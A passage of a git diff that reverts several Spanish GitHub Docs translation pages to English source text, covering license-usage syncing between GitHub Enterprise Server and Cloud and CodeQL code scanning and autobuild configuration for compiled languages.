variables.product.prodname_ghe_server %} license from the [{% data variables.product.prodname_enterprise %} website](https://enterprise.github.com/download). -Si tienes cualquier pregunta sobre cómo descargar tu licencia, contacta a {% data variables.contact.contact_enterprise_sales %}. +If you have any questions about downloading your license, contact {% data variables.contact.contact_enterprise_sales %}. diff --git a/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md b/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md index 39e9c30ecf..2f032c6f1b 100644 --- a/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md +++ b/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md @@ -1,6 +1,6 @@ --- -title: Sincornizar el uso de licencias entre GitHub Enterprise Server y GitHub Enterprise Cloud -intro: 'Puedes sincronizar el uso de licencias desde {% data variables.product.prodname_ghe_server %} hacia {% data variables.product.prodname_ghe_cloud %} para ver el uso de licencias a lo largo de tu empresa en un solo lugar y garantizar que las personas con cuentas en ambos ambientes solo consuman una licencia.' +title: Syncing license usage between GitHub Enterprise Server and GitHub Enterprise Cloud +intro: 'You can sync license usage from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %} to view all license usage across your enterprise in one place and ensure that people with accounts in both environments only consume one user license.' permissions: 'Enterprise owners can sync license usage between enterprise accounts on {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}.' versions: ghec: '*' @@ -9,32 +9,36 @@ type: how_to topics: - Enterprise - Licensing -shortTitle: Sincronizar el uso de licencia +shortTitle: Sync license usage --- -## Acerca de la sincronización del uso de licencias +## About synchronization of license usage {% data reusables.enterprise-licensing.about-license-sync %} -If you allow {% data variables.product.product_location_enterprise %} to connect to your enterprise account on {% data variables.product.prodname_dotcom_the_website %}, you can sync license usage between the environments automatically. La sincronización automática garantiza que veas los detalles actualizados de la licencia en {% data variables.product.prodname_dotcom_the_website %}. Si no quieres permitir que {% data variables.product.product_location %} se conecte con {% data variables.product.prodname_dotcom_the_website %}, puedes sincronizar la licencia manualmente cargando un archivo de {% data variables.product.product_location %} a {% data variables.product.prodname_dotcom_the_website %}. +If you allow {% data variables.product.product_location_enterprise %} to connect to your enterprise account on {% data variables.product.prodname_dotcom_the_website %}, you can sync license usage between the environments automatically. Automatic synchronization ensures that you see up-to-date license details on {% data variables.product.prodname_dotcom_the_website %}. If you don't want to allow {% data variables.product.product_location %} to connect to {% data variables.product.prodname_dotcom_the_website %}, you can manually sync license usage by uploading a file from {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. -Para obtener más información sobre las licencias y el uso de {% data variables.product.prodname_ghe_server %}, consulta la sección "[Acerca de las licencias de {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)". +For more information about licenses and usage for {% data variables.product.prodname_ghe_server %}, see "[About licenses for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)." -## Sincronizar el uso de licencias automáticamente +## Automatically syncing license usage -Puedes utilizar {% data variables.product.prodname_github_connect %} para sincronizar de forma automática el conteo y el uso de la licencia de usuario entre {% data variables.product.prodname_ghe_server %} y {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Enabling automatic user license sync between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud){% ifversion ghec %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}."{% endif %} +You can use {% data variables.product.prodname_github_connect %} to automatically sync user license count and usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Enabling automatic user license sync between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud){% ifversion ghec %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}."{% endif %} -## Sincronizar el uso de licencias manualmente +## Manually syncing license usage -Puedes descargar un archivo JSON desde {% data variables.product.prodname_ghe_server %} y subir el archivo a {% data variables.product.prodname_ghe_cloud %} para sincronizar de forma manual el uso de la licencia de usuario entre dos implementaciones. +You can download a JSON file from {% data variables.product.prodname_ghe_server %} and upload the file to {% data variables.product.prodname_ghe_cloud %} to manually sync user license usage between the two deployments. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.license-tab %} -5. Dentro de "Quick links (Vínculos rápidos)", para descargar un archivo que contiene tu uso de licencia actual en {% data variables.product.prodname_ghe_server %}, haz clic en **Export license usage (Exportar uso de licencia)**. ![Exporta el vínculo de uso de la licencia](/assets/images/enterprise/business-accounts/export-license-usage-link.png) +5. Under "Quick links", to download a file containing your current license usage on {% data variables.product.prodname_ghe_server %}, click **Export license usage**. + ![Export license usage link](/assets/images/enterprise/business-accounts/export-license-usage-link.png) {% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} -8. En la barra lateral izquierda, da clic en **Licenciamiento empresarial**. ![Pestaña de "Licencias empresariales" en la barra lateral de configuración para la cuenta empresarial](/assets/images/help/enterprises/enterprise-licensing-tab.png) +8. In the left sidebar, click **Enterprise licensing**. + !["Enterprise licensing" tab in the enterprise account settings sidebar](/assets/images/help/enterprises/enterprise-licensing-tab.png) {% data reusables.enterprise-accounts.license-tab %} -10. Debajo de "Instancias de Enterprise Server", da clic en **Agregar uso del servidor**. ![Sube el vínculo de uso de los servidores de GitHub Enterprise](/assets/images/help/business-accounts/upload-ghe-server-usage-link.png) -11. Sube el archivo JSON que descargaste de {% data variables.product.prodname_ghe_server %}. ![Arrastra y suelta o selecciona un archivo para cargar](/assets/images/help/business-accounts/upload-ghe-server-usage-file.png) +10. Under "Enterprise Server Instances", click **Add server usage**. + ![Upload GitHub Enterprise Servers usage link](/assets/images/help/business-accounts/upload-ghe-server-usage-link.png) +11. Upload the JSON file you downloaded from {% data variables.product.prodname_ghe_server %}. + ![Drag and drop or select a file to upload](/assets/images/help/business-accounts/upload-ghe-server-usage-file.png) diff --git a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md index e254340b3f..be3d1c507d 100644 --- a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md +++ b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md @@ -1,7 +1,7 @@ --- -title: Acerca del escaneo de código con CodeQL -shortTitle: Escaneo de código con CodeQL -intro: 'Puedes utilizar {% data variables.product.prodname_codeql %} para identificar las vulnerabilidades y errores en tu código. Los resultados se muestran como alertas del {% data variables.product.prodname_code_scanning %} en {% data variables.product.prodname_dotcom %}.' +title: About code scanning with CodeQL +shortTitle: Code scanning with CodeQL +intro: 'You can use {% data variables.product.prodname_codeql %} to identify vulnerabilities and errors in your code. The results are shown as {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.prodname_dotcom %}.' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql @@ -20,43 +20,43 @@ topics: {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} -## Acerca de {% data variables.product.prodname_code_scanning %} con {% data variables.product.prodname_codeql %} +## About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %} {% data reusables.code-scanning.about-codeql-analysis %} -Hay dos formas principales para utilizar el análisis de {% data variables.product.prodname_codeql %} para el {% data variables.product.prodname_code_scanning %}: +There are two main ways to use {% data variables.product.prodname_codeql %} analysis for {% data variables.product.prodname_code_scanning %}: -- Agregar el flujo de trabajo de {% data variables.product.prodname_codeql %} a tu repositorio. Esto utiliza la [github/codeql-action](https://github.com/github/codeql-action/) para ejecutar el {% data variables.product.prodname_codeql_cli %}. Para obtener más información, consulta la sección "[Configurar el {% data variables.product.prodname_code_scanning %} en un repositorio](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)". -- Ejecuta el {% data variables.product.prodname_codeql %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}CLI directamente {% elsif ghes = 3.0 %}CLI o el ejecutor {% else %}ejecutor{% endif %} en un sistema de IC externo y carga los resultados en {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección "[Acerca del escaneo de código de {% data variables.product.prodname_codeql %} en tu sistema de IC](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)". +- Add the {% data variables.product.prodname_codeql %} workflow to your repository. This uses the [github/codeql-action](https://github.com/github/codeql-action/) to run the {% data variables.product.prodname_codeql_cli %}. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)." +- Run the {% data variables.product.prodname_codeql %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}CLI directly {% elsif ghes = 3.0 %}CLI or runner {% else %}runner {% endif %} in an external CI system and upload the results to {% data variables.product.prodname_dotcom %}. For more information, see "[About {% data variables.product.prodname_codeql %} code scanning in your CI system ](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)." -## Acerca de {% data variables.product.prodname_codeql %} +## About {% data variables.product.prodname_codeql %} -El {% data variables.product.prodname_codeql %} trata el código como datos, permitiéndote encontrar vulnerabilidades potenciales en tu código con mayor confianza que los analizadores estáticos tradicionales. +{% data variables.product.prodname_codeql %} treats code like data, allowing you to find potential vulnerabilities in your code with greater confidence than traditional static analyzers. -1. Generas una base de datos de {% data variables.product.prodname_codeql %} para representar tu base de código. -2. Entonces, ejecutarás consultas de {% data variables.product.prodname_codeql %} en esa base de datos para identificar problemas en la base de código. -3. Estos resultados de consulta se muestran como alertas del {% data variables.product.prodname_code_scanning %} en {% data variables.product.product_name %} cuando utilizas al {% data variables.product.prodname_codeql %} con el {% data variables.product.prodname_code_scanning %}. +1. You generate a {% data variables.product.prodname_codeql %} database to represent your codebase. +2. Then you run {% data variables.product.prodname_codeql %} queries on that database to identify problems in the codebase. +3. The query results are shown as {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.product_name %} when you use {% data variables.product.prodname_codeql %} with {% data variables.product.prodname_code_scanning %}. -{% data variables.product.prodname_codeql %} es compatible tanto con los lenguajes compilados como con lso interpretados, y puede encontrar vulnerabilidades y errores en el código que se escriba en los lenguajes compatibles. +{% data variables.product.prodname_codeql %} supports both compiled and interpreted languages, and can find vulnerabilities and errors in code that's written in the supported languages. {% data reusables.code-scanning.codeql-languages-bullets %} -## Acerca de las consultas de {% data variables.product.prodname_codeql %} +## About {% data variables.product.prodname_codeql %} queries -Los expertos de {% data variables.product.company_short %}, investigadores de seguridad y contribuyentes comunitarios escriben y mantienen las consultas predeterminadas de {% data variables.product.prodname_codeql %} que se utilizan para el {% data variables.product.prodname_code_scanning %}. Las consultas se actualizan frecuentemente para mejorar el análisis y reducir cualquier resultado falso positivo. Las consultas son de código abierto, así que puedes ver y contribuir con ellas en el repositorio de [`github/codeql`](https://github.com/github/codeql). Para obtener más información, consulta la sección [{% data variables.product.prodname_codeql %}](https://securitylab.github.com/tools/codeql) en el sitio web de GitHub Security Lab. También puedes escribir tus propias consultas. Para obtener más información, consulta la sección "[Acerca de las consultas de {% data variables.product.prodname_codeql %}](https://codeql.github.com/docs/writing-codeql-queries/about-codeql-queries/)" en la documentación de {% data variables.product.prodname_codeql %}. +{% data variables.product.company_short %} experts, security researchers, and community contributors write and maintain the default {% data variables.product.prodname_codeql %} queries used for {% data variables.product.prodname_code_scanning %}. The queries are regularly updated to improve analysis and reduce any false positive results. The queries are open source, so you can view and contribute to the queries in the [`github/codeql`](https://github.com/github/codeql) repository. For more information, see [{% data variables.product.prodname_codeql %}](https://securitylab.github.com/tools/codeql) on the GitHub Security Lab website. You can also write your own queries. For more information, see "[About {% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/about-codeql-queries/)" in the {% data variables.product.prodname_codeql %} documentation. -Puedes ejecutar consultas adicionales como parte de tu análisis de escaneo de código. +You can run additional queries as part of your code scanning analysis. {%- if codeql-packs %} -Estas consultas deben pertenecer a un paquete de consultas (beta) de {% data variables.product.prodname_codeql %} publicado o a un paquete de QL en un repositorio. Los paquetes de {% data variables.product.prodname_codeql %} (beta) proporcionan los siguientes beneficios sobre los paquetes tradicionales de QL: +These queries must belong to a published {% data variables.product.prodname_codeql %} query pack (beta) or a QL pack in a repository. {% data variables.product.prodname_codeql %} packs (beta) provide the following benefits over traditional QL packs: -- Cuando un paquete de consultas de {% data variables.product.prodname_codeql %} (beta) se publica en el {% data variables.product.prodname_container_registry %} de {% data variables.product.company_short %}, todas las dependencias transitivas que requieren las consultas y un caché de compilación se incluyen en el paquete. Esto mejora el rendimiento y garantiza que el ejecutar las consultas del paquete proporciona resultados idénticos cada vez que actualizas a una versión nueva del paquete o de CLI. -- Los paquetes de QL no incluyen las dependencias transitivas, así que las consultas en el paquete puede depender únicamente de las librerías estándar (esto es, si las librerías se referencian mediante un argumento `import LANGUAGE` en tu consulta) o en las librerías del mismo paquete de QL que la consulta. +- When a {% data variables.product.prodname_codeql %} query pack (beta) is published to the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, all the transitive dependencies required by the queries and a compilation cache are included in the package. This improves performance and ensures that running the queries in the pack gives identical results every time until you upgrade to a new version of the pack or the CLI. +- QL packs do not include transitive dependencies, so queries in the pack can depend only on the standard libraries (that is, the libraries referenced by an `import LANGUAGE` statement in your query), or libraries in the same QL pack as the query. -Para obtener más información, consulta las secciones "[Acerca de los paquetes de {% data variables.product.prodname_codeql %}](https://codeql.github.com/docs/codeql-cli/about-codeql-packs/)" y "[Acerca de los paquetes de {% data variables.product.prodname_ql %}](https://codeql.github.com/docs/codeql-cli/about-ql-packs/)" en la documentación de {% data variables.product.prodname_codeql %}. +For more information, see "[About {% data variables.product.prodname_codeql %} packs](https://codeql.github.com/docs/codeql-cli/about-codeql-packs/)" and "[About {% data variables.product.prodname_ql %} packs](https://codeql.github.com/docs/codeql-cli/about-ql-packs/)" in the {% data variables.product.prodname_codeql %} documentation. {% data reusables.code-scanning.beta-codeql-packs-cli %} {%- else %} -Estas consultas que quieres ejecutar deben pertenecer al paquete de QL de un repositorio. Las consultas solo deberán depender de las librerías estándar (es decir, aquellas referenciadas por una declaración `import LANGUAGE` en tu consulta), o de aquellas en el mismo paquete de QL que la consulta. Para obtener más información, consulta la sección "[Acerca de los paquetes de {% data variables.product.prodname_ql %}](https://codeql.github.com/docs/codeql-cli/about-ql-packs/)". +The queries you want to run must belong to a QL pack in a repository. Queries must only depend on the standard libraries (that is, the libraries referenced by an `import LANGUAGE` statement in your query), or libraries in the same QL pack as the query. For more information, see "[About {% data variables.product.prodname_ql %} packs](https://codeql.github.com/docs/codeql-cli/about-ql-packs/)." {% endif %} diff --git a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md index 072f3cef91..a54f0f60be 100644 --- a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md +++ b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md @@ -1,7 +1,7 @@ --- -title: Configurar el flujo de trabajo de CodeQL para los lenguajes compilados -shortTitle: Configura los lenguajes compilados -intro: 'Puedes configurar cómo {% data variables.product.prodname_dotcom %} utiliza el {% data variables.product.prodname_codeql_workflow %} para escanear el código escrito en los lenguajes compilados para las vulnerabilidades y errores.' +title: Configuring the CodeQL workflow for compiled languages +shortTitle: Configure compiled languages +intro: 'You can configure how {% data variables.product.prodname_dotcom %} uses the {% data variables.product.prodname_codeql_workflow %} to scan code written in compiled languages for vulnerabilities and errors.' product: '{% data reusables.gated-features.code-scanning %}' permissions: 'If you have write permissions to a repository, you can configure {% data variables.product.prodname_code_scanning %} for that repository.' redirect_from: @@ -26,85 +26,86 @@ topics: - C# - Java --- - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} -## Acerca de {% data variables.product.prodname_codeql_workflow %} y los lenguajes compilados +## About the {% data variables.product.prodname_codeql_workflow %} and compiled languages -Puedes configurar a {% data variables.product.prodname_dotcom %} para que ejecute el {% data variables.product.prodname_code_scanning %} en tu repositorio si agregas un flujo de trabajo de {% data variables.product.prodname_actions %} a este. **Note**: This article refers to {% data variables.product.prodname_code_scanning %} powered by {% data variables.product.prodname_codeql %}, not to {% data variables.product.prodname_code_scanning %} resulting from the upload of third-party static analysis tools. Para obtener más información, consulta la sección "[Configurar el {% data variables.product.prodname_code_scanning %} en un repositorio](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)". +You set up {% data variables.product.prodname_dotcom %} to run {% data variables.product.prodname_code_scanning %} for your repository by adding a {% data variables.product.prodname_actions %} workflow to the repository. For {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}, you add the {% data variables.product.prodname_codeql_workflow %}. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." -{% data reusables.code-scanning.edit-workflow %} -Para obtener información general acerca de cómo configurar el {% data variables.product.prodname_code_scanning %} y de cómo editar los archivos de flujo de trabajo, consulta las secciones "[Configurar el {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" y "[Aprende sobre las {% data variables.product.prodname_actions %}](/actions/learn-github-actions)". +{% data reusables.code-scanning.edit-workflow %} +For general information about configuring {% data variables.product.prodname_code_scanning %} and editing workflow files, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" and "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." -## Acerca de autobuild para {% data variables.product.prodname_codeql %} +## About autobuild for {% data variables.product.prodname_codeql %} -El escaneo de código funciona ejecutando consultas contra una o más bases de datos. Cada base de datos contiene una representación de todo el código de tu repositorio en un solo lenguaje. Para los lenguajes compilados de C/C++, C#, y Java, el proceso de poblar esta base de datos involucra compilar el código y extraer los datos. {% data reusables.code-scanning.analyze-go %} +Code scanning works by running queries against one or more databases. Each database contains a representation of all of the code in a single language in your repository. For the compiled languages C/C++, C#, and Java, the process of populating this database involves building the code and extracting data. {% data reusables.code-scanning.analyze-go %} {% data reusables.code-scanning.autobuild-compiled-languages %} -Si tu flujo de trabajo utiliza una matriz de `language`, el `autobuild` intentará compilar cada uno de los lenguajes que se listen en ella. Sin una matriz, el `autobuild` intentará compilar el lenguaje compatible que tenga más archivos de origen en el repositorio. Con la excepción de Go, el análisis de otros lenguajes compilados en tu repositorio siempre fallará a menos de que proporciones comandos de compilación específicos. +If your workflow uses a `language` matrix, `autobuild` attempts to build each of the compiled languages listed in the matrix. Without a matrix `autobuild` attempts to build the supported compiled language that has the most source files in the repository. With the exception of Go, analysis of other compiled languages in your repository will fail unless you supply explicit build commands. {% note %} -{% ifversion ghae %}**Nota**: Para obtener instrucciones sobre cómo asegurarte de que tu {% data variables.actions.hosted_runner %} tiene instalado el software necesario, consulta la sección "[Crear imágenes personalizadas](/actions/using-github-hosted-runners/creating-custom-images)". +{% ifversion ghae %}**Note**: For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." {% else %} -**Nota**: Si utilizas los ejecutores auto-hospedados para {% data variables.product.prodname_actions %}, tal vez necesites instalar software adicional para utilizar el proceso de `autobuild`. Adicionalmente, si tu repositorio requiere de una versión específica de una herramienta de compilación, tal vez necesites instalarla manualmente. Para obtener más información, consulta la sección "[Especificaciones para los ejecutores hospedados en {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software)". +**Note**: If you use self-hosted runners for {% data variables.product.prodname_actions %}, you may need to install additional software to use the `autobuild` process. Additionally, if your repository requires a specific version of a build tool, you may need to install it manually. For more information, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)". {% endif %} {% endnote %} ### C/C++ -| Tipo de sistema compatible | Nombre del sistema | -| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Sistema operativo | Windows, macOS, y Linux | -| Sistema de compilación | Windows: MSbuild y scripts de compilación
Linux y macOS: Autoconf, Make, CMake, qmake, Meson, Waf, SCons, Linux Kbuild, y scripts de compilación | +| Supported system type | System name | +|----|----| +| Operating system | Windows, macOS, and Linux | +| Build system | Windows: MSbuild and build scripts
Linux and macOS: Autoconf, Make, CMake, qmake, Meson, Waf, SCons, Linux Kbuild, and build scripts | -El comportamiento del paso de `autobuild` varía de acuerdo con el sistema operativo en el que se ejecute la extracción. En Windows, el paso de `autobuild` intenta autodetectar un método de compilación adecuado para C/C++ utilizando el siguiente enfoque: +The behavior of the `autobuild` step varies according to the operating system that the extraction runs on. On Windows, the `autobuild` step attempts to autodetect a suitable build method for C/C++ using the following approach: -1. Invocar a`MSBuild.exe` en el archivo de la solución (`.sln`) o del proyecto (`.vcxproj`) que esté más cercano a la raíz. Si `autobuild` detecta soluciones o archivos de proyecto múltiples en la misma profundidad (la más corta) desde el directorio de nivel superior, entonces intentará compilarlos todos. -2. Invocar un script que se ve como un script de compilación—_build.bat_, _build.cmd_, _and build.exe_ (en ese órden). +1. Invoke `MSBuild.exe` on the solution (`.sln`) or project (`.vcxproj`) file closest to the root. +If `autobuild` detects multiple solution or project files at the same (shortest) depth from the top level directory, it will attempt to build all of them. +2. Invoke a script that looks like a build script—_build.bat_, _build.cmd_, _and build.exe_ (in that order). -En Linux y macOS, el paso de `autobuild` revisa los archivos presentes en el repositorio para determinar el sistema de compilación que se utilizó: +On Linux and macOS, the `autobuild` step reviews the files present in the repository to determine the build system used: -1. Busca un sistema de compilación en el directorio raíz. -2. Si no se encuentra ninguno, busca un directorio único en los subdirectorios, el cual cuente con un sistema de compilación para C/C++. -3. Ejecuta un comando adecuado para configurar el sistema. +1. Look for a build system in the root directory. +2. If none are found, search subdirectories for a unique directory with a build system for C/C++. +3. Run an appropriate command to configure the system. -### C +### C# -| Tipo de sistema compatible | Nombre del sistema | -| -------------------------- | --------------------------------------------------- | -| Sistema operativo | Windows y Linux | -| Sistema de compilación | .NET y MSbuild, así como los scripts de compilación | +| Supported system type | System name | +|----|----| +| Operating system | Windows and Linux | +| Build system | .NET and MSbuild, as well as build scripts | -El proceso de `autobuild` intenta autodetectar un método de compilación adecuado para C# utilizando el siguiente acercamiento: +The `autobuild` process attempts to autodetect a suitable build method for C# using the following approach: -1. Invoca a `dotnet build` en el archivo (`.sln`) de la solución o en el archivo (`.csproj`) del proyecto que esté más cercano a la raíz. -2. Invoca a `MSbuild` (Linux) o a `MSBuild.exe` (Windows) en el archivo de la solución o del proyecto más cercano a la raíz. Si `autobuild` detecta soluciones o archivos de proyecto múltiples en la misma profundidad (la más corta) desde el directorio de nivel superior, entonces intentará compilarlos todos. -3. Invoca un script que se parece a un script de compilación—_build_ y _build.sh_ (en ese orden, para Linux) o _build.bat_, _build.cmd_, _y build.exe_ (en ese orden, para Windows). +1. Invoke `dotnet build` on the solution (`.sln`) or project (`.csproj`) file closest to the root. +2. Invoke `MSbuild` (Linux) or `MSBuild.exe` (Windows) on the solution or project file closest to the root. +If `autobuild` detects multiple solution or project files at the same (shortest) depth from the top level directory, it will attempt to build all of them. +3. Invoke a script that looks like a build script—_build_ and _build.sh_ (in that order, for Linux) or _build.bat_, _build.cmd_, _and build.exe_ (in that order, for Windows). ### Java -| Tipo de sistema compatible | Nombre del sistema | -| -------------------------- | ----------------------------------------- | -| Sistema operativo | Windows, macOS, y Linux (sin restricción) | -| Sistema de compilación | Gradle, Maven y Ant | +| Supported system type | System name | +|----|----| +| Operating system | Windows, macOS, and Linux (no restriction) | +| Build system | Gradle, Maven and Ant | -El proceso de `autobuild` intenta determinar el sistema de compilación para las bases de código de Java aplicando esta estrategia: +The `autobuild` process tries to determine the build system for Java codebases by applying this strategy: -1. Busca un archivo de compilación en el directorio raíz. Busca a Gradle en Maven y luego Ant compila los archivos. -2. Ejecuta el primer archivo de compilación que encuentre. Si tanto los archivos de Gradle como los de Maven están presentes, se utiliza el archivo de Gradle. -3. De lo contrario, usca los archivos de compilación en los subidrectorios directos del directorio raíz. Si solo un subdirectorio contiene archivos de compilación, ejecuta el primer archivo identificado en este subdirectorio (utilizando la misma preferencia que para 1). Si más de un subdirectorio contiene archivos de compilación, reporta un error. +1. Search for a build file in the root directory. Check for Gradle then Maven then Ant build files. +2. Run the first build file found. If both Gradle and Maven files are present, the Gradle file is used. +3. Otherwise, search for build files in direct subdirectories of the root directory. If only one subdirectory contains build files, run the first file identified in that subdirectory (using the same preference as for 1). If more than one subdirectory contains build files, report an error. -## Agregar pasos de compilación para un lenguaje compilado +## Adding build steps for a compiled language -{% data reusables.code-scanning.autobuild-add-build-steps %} Para obtener más información sobre cómo editar el archivo de flujo de trabajo, consulta la sección "[Configurar el {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)". +{% data reusables.code-scanning.autobuild-add-build-steps %} For information on how to edit the workflow file, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)." -Después de eliminar el paso de `autobuild`, quita el comentario del paso de `run` y agrega los comandos de compilación que son adecuados para tu repositorio. El paso de `run` en el flujo de trabajo ejecuta programas de línea de comandos que utiizan el shell del sistema operativo. Puedes modificar estos comandos y agregar más de ellos para personalizar el proceso de compilación. +After removing the `autobuild` step, uncomment the `run` step and add build commands that are suitable for your repository. The workflow `run` step runs command-line programs using the operating system's shell. You can modify these commands and add more commands to customize the build process. ``` yaml - run: | @@ -112,9 +113,9 @@ Después de eliminar el paso de `autobuild`, quita el comentario del paso de `ru make release ``` -Para obtener más información acerca de la palabra clave `run`, consulta la sección "[Sintaxis de flujo de trabajo para { site.data.variables.product.prodname_actions }}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)". +For more information about the `run` keyword, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)." -Si tu repositorio contiene lenguajes compilados múltiples, puedes especificar los compandos de compilación específicos de estos lenguajes. Por ejemplo, si tu repositorio contiene C/C++, C# y Java, y el `autobuild` compila correctamente C/C++ y C#, pero falla con Java, puedes utilizar la siguiente configuración en tu flujo de trabajo, después del paso `init`. Esto especifica los pasos de compilación para Java mientras que aún utiliza el `autobuild` para C/C++ y C#: +If your repository contains multiple compiled languages, you can specify language-specific build commands. For example, if your repository contains C/C++, C# and Java, and `autobuild` correctly builds C/C++ and C# but fails to build Java, you could use the following configuration in your workflow, after the `init` step. This specifies build steps for Java while still using `autobuild` for C/C++ and C#: ```yaml - if: matrix.language == 'cpp' || matrix.language == 'csharp' @@ -128,8 +129,8 @@ Si tu repositorio contiene lenguajes compilados múltiples, puedes especificar l make release ``` -Para obtener más información acerca del condicional `if`, consulta la sección "[Sintaxis de flujo de trabajo para GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif)". +For more information about the `if` conditional, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif)." -Para obtener más tips e ides sobre por qué el `autobuild` no está compilando tu código, consulta la sección "[Solucionar errores en el flujo de trabajo de {% data variables.product.prodname_codeql %}](/code-security/secure-coding/troubleshooting-the-codeql-workflow)". +For more tips and tricks about why `autobuild` won't build your code, see "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)." -Si agregas pasos de compilación manualmente para los lenguajes compilados y el {% data variables.product.prodname_code_scanning %} aún no funciona en tu repositorio, contacta a {% data variables.contact.contact_support %}. +If you added manual build steps for compiled languages and {% data variables.product.prodname_code_scanning %} is still not working on your repository, contact {% data variables.contact.contact_support %}. diff --git a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md index 7218067e87..96dec45cdf 100644 --- 